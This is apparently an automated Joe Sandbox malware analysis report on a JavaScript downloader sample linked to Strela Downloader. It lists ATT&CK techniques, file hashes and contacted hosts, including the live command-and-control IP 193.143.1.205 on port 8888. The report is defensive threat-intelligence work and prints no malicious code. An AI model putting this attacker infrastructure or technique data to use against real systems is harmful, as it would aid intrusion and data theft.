Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
11057252552282120022.js	5%	Virustotal		Browse
11057252552282120022.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/S	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.37	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3418972024.000001B23F200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2204958043.000001B23F040000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2205770148.0000024F7AB3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2205707786.0000024F7AB08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2204871041.0000024F7AB3D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/S	net.exe, 00000007.00000002.2205770148.0000024F7AB2A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2204871041.0000024F7AB2A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588186
Start date and time:	2025-01-10 22:28:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	11057252552282120022.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 23.209.209.135, 2.23.242.162, 199.232.214.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 3.233.129.217, 20.109.210.53, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:29:30	API Interceptor	27x Sleep call for process: powershell.exe modified
16:29:34	API Interceptor	1x Sleep call for process: net.exe modified
16:29:34	API Interceptor	2x Sleep call for process: svchost.exe modified
16:29:42	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	217.20.57.18
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.21
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	217.20.57.42
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
bg.microsoft.map.fastly.net	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307217964842539
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugK:gJjJGtpTq2yv1AuNZRY3diu8iBVqFo
MD5:	57A8395750EA4687E508221721D7B654
SHA1:	B4FF85974CB366606C15802D2465B829D8A51665
SHA-256:	A17CF9229D9F0912241F865B8241A443CC29035E72C4E0987797F58C3EC2CA59
SHA-512:	64F17761CF11093CF5B91D7CB7F2C7984ED9E9536A9A558A2F78D5345A4262C36381FD64AEC3C841759FDFE44EE95D95D1F0E99312283EB558395D08528C38BE
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xfb9c59be, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6586164800974333
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Raza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	2A521075E08270D1C7A86E202EB9E8D1
SHA1:	B9D35565593D2EE3E9CEB68E26F193E445E7F069
SHA-256:	1ADDE624FF629B340F6E7448780C644C5D3D7B702D282B31C13BBDF92580C029
SHA-512:	F8301817EB860A538F4E113CD056A289DDA2A12EC3593CB075BD2A8D2BB96E83A6A496CD69BC8279DCA81FECE56747F538A9E55C3122AE5C6025E7E1EE9B6D82
Malicious:	false
Preview:	..Y.... ...............X\...;...{......................0.z..........{.."....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................Ma7"....}#...................[*"....}#..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08085449626099644
Encrypted:	false
SSDEEP:	3:UxlyYewNR4EkGuAJkhvekl1vfc/lallrekGltll/SPj:Ux8zCorxld8AJe3l
MD5:	4265871A3D1DFD7CCC171486F5797FCD
SHA1:	723CF52F9138C7BFEA770FDE71A8D09DEC733B4E
SHA-256:	959F3C646704D4197279BB12336B0A17DCC7D4E2C6706496F932A1FD24A3505E
SHA-512:	555BFFAC84625AA3D2289B7BBDE942183E27E70279967255EA8F14439D36C4F0843764FE7FB718122F77A7F2452F54E5DA6D9DFE426197F319B8AC40CAA138BF
Malicious:	false
Preview:	<.q......................................;...{.."....}#......{...............{.......{...XL......{....................[*"....}#.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.199361277896793
Encrypted:	false
SSDEEP:	6:iO41uS+q2P92nKuAl9OmbnIFUtS1mWZmws1NVkwO92nKuAl9OmbjLJ:7YuS+v4HAahFUtqmW/kNV5LHAaSJ
MD5:	95029F436F9042F8D251F684F2716152
SHA1:	43DE356DD9F18369EFF9613E7FEF9264BEF80396
SHA-256:	C83106CC5F4130E8633C7BD6AE98AC97B8C3F57F09FE78E490152C3883993BC1
SHA-512:	629FF1AB5A039BCE60670629D2B6915560F3D7DB786D050F8F8C6DEF471FC0F2483828CB1CA35B721BDCF4F4E383B77BD78AC811528387757D962BC497748650
Malicious:	false
Preview:	2025/01/10-16:29:34.525 135c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:29:34.529 135c Recovering log #3.2025/01/10-16:29:34.529 135c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.199361277896793
Encrypted:	false
SSDEEP:	6:iO41uS+q2P92nKuAl9OmbnIFUtS1mWZmws1NVkwO92nKuAl9OmbjLJ:7YuS+v4HAahFUtqmW/kNV5LHAaSJ
MD5:	95029F436F9042F8D251F684F2716152
SHA1:	43DE356DD9F18369EFF9613E7FEF9264BEF80396
SHA-256:	C83106CC5F4130E8633C7BD6AE98AC97B8C3F57F09FE78E490152C3883993BC1
SHA-512:	629FF1AB5A039BCE60670629D2B6915560F3D7DB786D050F8F8C6DEF471FC0F2483828CB1CA35B721BDCF4F4E383B77BD78AC811528387757D962BC497748650
Malicious:	false
Preview:	2025/01/10-16:29:34.525 135c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:29:34.529 135c Recovering log #3.2025/01/10-16:29:34.529 135c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.205575317329009
Encrypted:	false
SSDEEP:	6:iO41MOq2P92nKuAl9Ombzo2jMGIFUtS1ZZmws1mPkwO92nKuAl9Ombzo2jMmLJ:7YMOv4HAa8uFUtqZ/kmP5LHAa8RJ
MD5:	41078D104A7517FA3EFCC1FF6A6487A9
SHA1:	C6781BC14D0848D7A0940197452AA3D7F67B733A
SHA-256:	66438893E9EDA4D586428EAF7E33DA18541016282EAD5317D0A68704D2053FFE
SHA-512:	82853EE5D9A501BDB2C671BF555742F7C2B0C6BE30C8C9320D764E9BDF836421EC281B813EC94A8F5182E9C234242CD6AE766E7F55801E12483B7EBB5C9A5735
Malicious:	false
Preview:	2025/01/10-16:29:34.646 9d4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:29:34.665 9d4 Recovering log #3.2025/01/10-16:29:34.666 9d4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.205575317329009
Encrypted:	false
SSDEEP:	6:iO41MOq2P92nKuAl9Ombzo2jMGIFUtS1ZZmws1mPkwO92nKuAl9Ombzo2jMmLJ:7YMOv4HAa8uFUtqZ/kmP5LHAa8RJ
MD5:	41078D104A7517FA3EFCC1FF6A6487A9
SHA1:	C6781BC14D0848D7A0940197452AA3D7F67B733A
SHA-256:	66438893E9EDA4D586428EAF7E33DA18541016282EAD5317D0A68704D2053FFE
SHA-512:	82853EE5D9A501BDB2C671BF555742F7C2B0C6BE30C8C9320D764E9BDF836421EC281B813EC94A8F5182E9C234242CD6AE766E7F55801E12483B7EBB5C9A5735
Malicious:	false
Preview:	2025/01/10-16:29:34.646 9d4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:29:34.665 9d4 Recovering log #3.2025/01/10-16:29:34.666 9d4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\91689cd3-01f7-4b94-a5ce-8d966e6185c7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.047670631956577
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqmsBdOg2HLcaq3QYiubxnP7E4T3OF+:Y2sRds2dMHy3QYhbxP7nbI+
MD5:	75B90984416C45FE07CC7BB26D7257B5
SHA1:	ADEE175E39A5699BC1D10CC9E539C24EEEC73278
SHA-256:	4448BA9E71B30F27BBB69B0727F1AF9460D908ACFA5DC5C4265336D8B6FE3ADC
SHA-512:	792457FBF58D9AA2F4A9F46335A7B0CB768C188E91F8EB0140E9B3E341E709E71C2060402BD1BC7C155E000C2C7E41CF9139EA284CF5A39643193228241A33F8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381104586661221","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124910},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047670631956577
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqmsBdOg2HLcaq3QYiubxnP7E4T3OF+:Y2sRds2dMHy3QYhbxP7nbI+
MD5:	75B90984416C45FE07CC7BB26D7257B5
SHA1:	ADEE175E39A5699BC1D10CC9E539C24EEEC73278
SHA-256:	4448BA9E71B30F27BBB69B0727F1AF9460D908ACFA5DC5C4265336D8B6FE3ADC
SHA-512:	792457FBF58D9AA2F4A9F46335A7B0CB768C188E91F8EB0140E9B3E341E709E71C2060402BD1BC7C155E000C2C7E41CF9139EA284CF5A39643193228241A33F8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381104586661221","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124910},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.234444380196192
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUcQCpjNC:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLm
MD5:	1D9FEDCFAE027C9A325B6C31B3AB912C
SHA1:	71C2729F69E3A89F4554E5D53FF1A91B9DD71CB6
SHA-256:	ADD6C5F611FACC7D3734066CD9EC60CBA68D582F5F988C6F04FAA4F1820CBE16
SHA-512:	36675611761D22E9EB2C5A7D79BDF15BCEA625EF2DEAB73E1E079332DB80D7EE3C1A2BEAFE5B9FB25AE36A29B3C005899ED908F0B0427894FC06F53B3F96DC0B
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.238004426068981
Encrypted:	false
SSDEEP:	6:iO41jq2P92nKuAl9OmbzNMxIFUtS1jRXZmws1+kwO92nKuAl9OmbzNMFLJ:7Yjv4HAa8jFUtqj9/k+5LHAa84J
MD5:	48E050B5DA6DA823A0B5DAC81A2D2310
SHA1:	6E21468544D07D6BB5E8A76B21A327A49B7558CD
SHA-256:	69307EF7934360E049AA5FAF95102A71879016804BA3BD3027B9A4A056559D18
SHA-512:	7AB99EE623AF845E9D0042706FF8D5B269EA55970CD9F20A8DE14AD20FF79F9E3A5F2675DD6A5AA624060FF1DE466A57FD2F967806708BC47600A0B015BAB2C0
Malicious:	false
Preview:	2025/01/10-16:29:34.770 9d4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:29:34.773 9d4 Recovering log #3.2025/01/10-16:29:34.774 9d4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.238004426068981
Encrypted:	false
SSDEEP:	6:iO41jq2P92nKuAl9OmbzNMxIFUtS1jRXZmws1+kwO92nKuAl9OmbzNMFLJ:7Yjv4HAa8jFUtqj9/k+5LHAa84J
MD5:	48E050B5DA6DA823A0B5DAC81A2D2310
SHA1:	6E21468544D07D6BB5E8A76B21A327A49B7558CD
SHA-256:	69307EF7934360E049AA5FAF95102A71879016804BA3BD3027B9A4A056559D18
SHA-512:	7AB99EE623AF845E9D0042706FF8D5B269EA55970CD9F20A8DE14AD20FF79F9E3A5F2675DD6A5AA624060FF1DE466A57FD2F967806708BC47600A0B015BAB2C0
Malicious:	false
Preview:	2025/01/10-16:29:34.770 9d4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:29:34.773 9d4 Recovering log #3.2025/01/10-16:29:34.774 9d4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
